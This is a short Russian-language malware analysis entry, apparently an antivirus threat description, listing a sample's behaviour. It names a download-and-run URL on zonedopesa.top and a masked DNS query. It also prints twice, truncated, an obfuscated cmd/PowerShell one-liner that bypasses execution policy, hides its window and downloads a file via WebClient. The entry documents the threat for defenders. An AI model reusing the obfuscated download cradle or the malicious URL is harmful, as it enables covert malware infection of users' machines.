Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POW^eRShE^L^l.e^X^e -Exe^CUTIOnpol^I^CY ^b^YPa^sS^ ^-NOP^R^o^FiL^e -wi^ND^ow^STy^Le ^hi^dDEN^ ^(n^EW^-^oBjEct^ S^YsT^e^M.n^E^T^.webc^liE^Nt).^DOw^Nl^oADf^ile^(^'http:...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POW^eRShE^L^l.e^X^e -Exe^CUTIOnpol^I^CY ^b^YPa^sS^ ^-NOP^R^o^FiL^e -wi^ND^ow^STy^Le ^hi^dDEN^ ^(n^EW^-^oBjEct^ S^YsT^e^M.n^E^T^.webc^liE^Nt).^DOw^Nl^oADf^ile^(^'http:...' (со скрытым окном)
